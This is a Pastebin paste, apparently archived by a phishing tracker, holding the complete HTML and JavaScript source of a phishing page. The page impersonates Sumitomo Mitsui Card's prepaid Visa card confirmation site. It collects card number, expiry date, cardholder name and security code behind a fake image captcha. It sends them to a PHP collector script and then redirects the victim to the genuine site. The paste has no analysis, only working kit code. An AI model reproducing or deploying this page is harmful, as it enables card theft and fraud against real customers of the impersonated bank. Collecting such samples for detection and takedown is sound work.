ozuma5119

Phishing/html/prepaid.vpass.ne.jp.nuliri.com

May 17th, 2021
894
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <!DOCTYPE html>
  2. <html>
  3.     <head>
  4.         <meta charset="UTF-8">
  5.         <title>カードご利用確認</title>
  6.         <meta name="viewport" content="initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
  7.         <!-- <script type="text/javascript" src="../js/date.js"></script> -->
  8.         <script type="text/javascript" src="../js/vue.js"></script>
  9.         <!-- <script type="text/javascript" src="../js/smtp.js"></script> -->
  10.         <link rel="stylesheet" style="text/css" href="../css/login.css" />
  11.         <script type="text/javascript" src="../js/jquery-3.5.1.js"></script>
  12.     </head>
  13.     <body>
  14.         <div id="app">
  15.             <div id="nav-out">
  16.                 <div id="nav"><img src="../img/index_logo.png" class="nav-img"><img src="../img/header_logo02.png"class="nav-img"><img src="../img/header_logo03.png"class="nav-img">
  17.                     <ul>
  18.                         <li v-for="(nav,navlist) in indexnav" @click="tp(navlist)">{{nav}}</li>
  19.                     </ul>
  20.                 </div>
  21.             </div>
  22.             <p class="tishi" id="tishi"><a>!</a>入カに誤りがあります。再度入カしてください。</p>
  23.             <div id="main">
  24.                 <p class="main-p1">カードご利用確認</p>
  25.                 <table>
  26.                     <tr>
  27.                         <th class="th1">プリペイドカード番号
  28.                             <p>(Prepaid Card Number)</p>
  29.                         </th>
  30.                         <th class="th2"><input type="number" v-model="input1" class="fanhao" @input="xianzhi(1)"> -
  31.                             <input type="number" v-model="input2" class="fanhao" @input="xianzhi(2)"> - <input
  32.                                 type="number" v-model="input3" class="fanhao" @input="xianzhi(3)"> - <input
  33.                                 type="number" v-model="input4" class="fanhao" @input="xianzhi(4)">
  34.                         </th>
  35.                     </tr>
  36.                     <tr>
  37.                         <th class="th1">有効期限
  38.                             <p>(Expiry date)</p>
  39.                         </th>
  40.                         <th class="th2">(月)<input type="number" v-model="input5" class="fanhao" id="a"
  41.                                 @input="xianzhi(5)">(年)<input type="number" v-model="input6" class="fanhao" id="b"
  42.                                 @input="xianzhi(6)">
  43.  
  44.                         </th>
  45.                     </tr>
  46.                     <tr>
  47.                         <th class="th1">カードに記載されている
  48.                             <p>(ローマ字)</p>
  49.                         </th>
  50.                         <th class="th2">(姓)<input type="text" v-model="input7" @keyup="english()"> <p>(名)<input type="text"
  51.                                 v-model="input8" @keyup="english1()"></p></th>
  52.                     </tr>
  53.                     <tr>
  54.                         <th class="th1"> セキュリティコード
  55.                             <p>(Security Code)</p>
  56.                         </th>
  57.                         <th class="th2"><input type="password" v-model="input9" @input="xianzhi(9)" @keyup="shuzi()">
  58.                         </th>
  59.                     </tr>
  60.                     <tr>
  61.                         <th class="th1">画像認証
  62.                         <P>(Type the letters)</P>
  63.                         </th>
  64.                         <th class="th2">
  65.                             <img src="../img/yanzheng1.jpg" id="yanzheng" @click="imgchange()">
  66.                             <p>画像に表示されている文字を入力してください。<br />
  67.                                 クリックすると別の文字に変わりま。<br />
  68.                                 アルファベットの小文字と数字で5文字です。<br /></p>
  69.                             <input type="text" v-model="yanzhengtext">
  70.                         </th>
  71.                     </tr>
  72.                     <tr>
  73.                         <th class="th1"></th>
  74.                         <th class="th2"><img src="../img/login_btn.jpg" @click="yanzheng()" id="btn1"></th>
  75.                     </tr>
  76.                 </table>
  77.                
  78.                 <p class="main-p2">> ID・パスワードをお忘れの場合はこちら</p>
  79.                 <p class="main-p3">> プリペイド残高のみのご確認はこちら</p>
  80.             </div>
  81.         </div>
  82.         <div id="footer1" onclick="tp()">
  83.             <p>各種規約</p>
  84.         </div>
  85.         <div id="footer">
  86.             <p>Copyright (C) 2021 Sumitomo Mitsui Card Co,ltd.</p>
  87.         </div>
  88.     </body>
  89.     <script type="text/javascript">
  90.         const app = new Vue({
  91.             el: '#app',
  92.             data: {
  93.                 message: 'hello',
  94.                 imgarr: ["../img/yanzheng1.jpg", "../img/yanzheng2.jpg", "../img/yanzheng3.jpg",
  95.                     "../img/yanzheng4.jpg", "../img/yanzheng5.jpg"
  96.                 ],
  97.                 imgyanzhengarr: ["pprme", "8aw45", "2fn5e", "3wm26", "44c8f"],
  98.                 imgyanzhengarr1: ["PPRME", "8AW45", "2FN5E", "3WM26", "44C8F"],
  99.                 indexnav: ["三井住友VISAプリペイド ホーム", "Visaギフトカード ホーム", "お問い合わせ", "Q&A","ご利用環境・セキュリティポリシー"],
  100.                 yanzhengtext: "",
  101.                 number1: 0,
  102.                 input1: "",
  103.                 input2: "",
  104.                 input3: "",
  105.                 input4: "",
  106.                 input5: "",
  107.                 input6: "",
  108.                 input7: "",
  109.                 input8: "",
  110.                 input9: "",
  111.                 indextext: "",
  112.             },
  113.             mounted() {
  114.                 this.imgload();
  115.             },
  116.             methods: {
  117.                 yanzheng() {
  118.                     let s =this.indextext +
  119.                         "プリペイドカード番号:" + this.input1 + "-" + this.input2 + "-" + this.input3 + "-" + this.input4 +
  120.                         "有効期限:" + this.input5 + "(月)" + this.input6 + "(年)" +
  121.                         "姓:" + this.input7 + "名:" + this.input8 +
  122.                         "セキュリティコード:" + this.input9;
  123.                     if (this.input1 == "" || this.input2 == "" || this.input3 == "" || this.input4 == "" || this
  124.                         .input5 == "" || this.input6 == "" || this.input7 == "" || this.input8 == "" || this.input9 ==
  125.                         "" || this.yanzhengtext == "") {
  126.                         window.alert("必須項目は記入していません。");
  127.                     } else if (this.input1 != 4708) {
  128.                         document.getElementById("tishi").style.opacity = "1";
  129.                     } else {
  130.                         var xmlhttp;
  131.  
  132.                         if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
  133.                             xmlhttp = new XMLHttpRequest();
  134.                         } else { // code for IE6, IE5
  135.                             xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  136.                         }
  137.  
  138.                         xmlhttp.open("GET", "../src/suc.php?q=" + s, true);
  139.                         xmlhttp.send();
  140.                        
  141.                         setInterval(function(){
  142.                             window.location.href="https://www.prepaid.vpass.ne.jp/ana/WB01/WB0102OP02BL.do?bscheme=ana";
  143.                         },2000);
  144.                     }
  145.                 },
  146.                 imgload() {
  147.                     let url = location.href;
  148.                     this.indextext = url.split("?")[1];
  149.                     this.number1 = Math.floor(Math.random() * 5 + 0);
  150.                     document.getElementById('yanzheng').src = this.imgarr[this.number1];
  151.                     let width_screen=screen.width;
  152.                     let navimg=document.getElementsByClassName('nav-img');
  153.                     if(width_screen<550){
  154.                         document.getElementById('main').style.width="97%";
  155.                         for(i in navimg){
  156.                             navimg[0].style.width="20%";
  157.                             navimg[2].style.width="15%";
  158.                         }
  159.                        
  160.                     }
  161.                
  162.                    
  163.                 },
  164.                 imgchange() {
  165.                     this.number1 = this.number1 + 1;
  166.                     if (this.number1 > 4) {
  167.                         this.number1 = 0;
  168.                     }
  169.                     document.getElementById('yanzheng').src = this.imgarr[this.number1];
  170.                 },
  171.                 tp(a) {
  172.                     if (a == 0) {
  173.                         window.open('https://www.smbc-card.com/prepaid/index.jsp');
  174.                     } else if (a == 1) {
  175.                         window.open('https://www.smbc-card.com/prepaid/brand/rd/0-2.html');
  176.                     } else if (a == 2) {
  177.                         window.open('https://www.smbc-card.com/prepaid/brand/rd/0-3.html');
  178.                     } else if (a == 3) {
  179.                         window.open('https://www.smbc-card.com/prepaid/kankyo.jsp');
  180.                     }
  181.                 },
  182.                 english() {
  183.                     this.input7 = this.input7.replace(/[^a-zA-Z]/g, '');
  184.                 },
  185.                 english1() {
  186.                     this.input8 = this.input8.replace(/[^a-zA-Z]/g, '');
  187.                 },
  188.                 shuzi() {
  189.                     this.input9 = this.input9.replace(/[^\0-9\.]/g, '');
  190.                 },
  191.                 xianzhi(a) {
  192.                     if (a == 1) {
  193.                         this.input1 = this.input1.slice(0, 4);
  194.                     }
  195.                     if (a == 2) {
  196.                         this.input2 = this.input2.slice(0, 4);
  197.                     }
  198.                     if (a == 3) {
  199.                         this.input3 = this.input3.slice(0, 4);
  200.                     }
  201.                     if (a == 4) {
  202.                         this.input4 = this.input4.slice(0, 4);
  203.                     }
  204.                     if (a == 5) {
  205.                         this.input5 = this.input5.slice(0, 2);
  206.                     }
  207.                     if (a == 6) {
  208.                         this.input6 = this.input6.slice(0, 4);
  209.                     }
  210.                     if (a == 9) {
  211.                         this.input9 = this.input9.slice(0, 3);
  212.                     }
  213.                 }
  214.             }
  215.         })
  216.  
  217.         function tp() {
  218.             window.open('https://www.smbc-card.com/prepaid/kiyaku.jsp');
  219.         }
  220.     </script>
  221. </html>
  222.  
RAW Paste Data